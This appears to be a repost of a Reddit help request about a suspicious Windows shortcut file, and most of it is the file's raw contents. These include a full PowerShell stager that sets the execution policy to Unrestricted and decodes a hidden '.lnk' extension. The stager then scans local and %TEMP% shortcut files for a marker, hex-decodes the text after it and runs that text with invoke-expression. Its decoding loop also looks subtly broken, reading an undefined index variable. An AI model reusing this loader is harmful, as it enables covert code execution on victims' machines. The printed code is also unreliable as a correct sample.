Reddit : Please help - very suspect file

#Direct link to reddit's post
#https://www.reddit.com/r/PowerShell/comments/pg3po1/please_help_very_suspect_file_opened_on_my_pc_no/

"%ÝwNÁç]N·D.±®Q˜·Ý•‰1SPSâŠXF¼L8C»ü“&˜mÎm-S-1-5-21-287986104-305762756-3537409591-1001L
ÀFá@PàOÐê:i¢Ø+00/C:\V1WINDOWS@ï¾.WINDOWSZ1System32Bï¾.System32t1WindowsPowerShellTï¾.WindowsPowerShellN1v1.0:ï¾.v1.0l2powershell.exeNï¾.powershell.exeÄ

Set-ExecutionPolicyUnRestricted

function Quiet-Content($path){
    $malicious_command=$Null
    $array=@(2037,2099,2101,2098)
    $extension=$Null
    $number_to_substract=1991
    foreach($number_in_array in $array){
        $extension+=[Char]($number_in_array-$number_to_substract)
    }
    Get-ChildItem $path -Recurse -Depth1 -ErrorAction 'SilentlyContinue' | ? {$_.extension -eq $extension} | % {
        $child_content=[String](Get-Content $_.FullName )
        $matching_string='TXRXMIQJ'
        $index_of_string = $child_content.IndexOf($matching_string)
        if($index_of_string -ne -1){
            $malicious_file=$child_content.SubString($index_of_string)
            $malicious_command=$malicious_file.Replace($matching_string,'')
            }
    }
    return $malicious_command
}


function dll_builder($malicious_command){
    $dll_builder=[Text.StringBuilder]::New()
    for($index=0 ; $index -lt $malicious_command.Length; $index+=2){
        [void]$dll_builder.Append([char][int]('0x'+$malicious_command.Substring($i,2)))
    }
    return $dll_builder.ToString()
}


$malicious_command = Quiet-Content $(Get-Location).Path
if($malicious_command -eq $Null){
    $malicious_command=Quiet-Content$($env:TEMP)
}

invoke-expression ((dll_builder $malicious_command))

C:\WINDOWS\System32\imageres.dll
%SystemRoot%\System32\imageres.dll
%SystemRoot%\System32\imageres.dll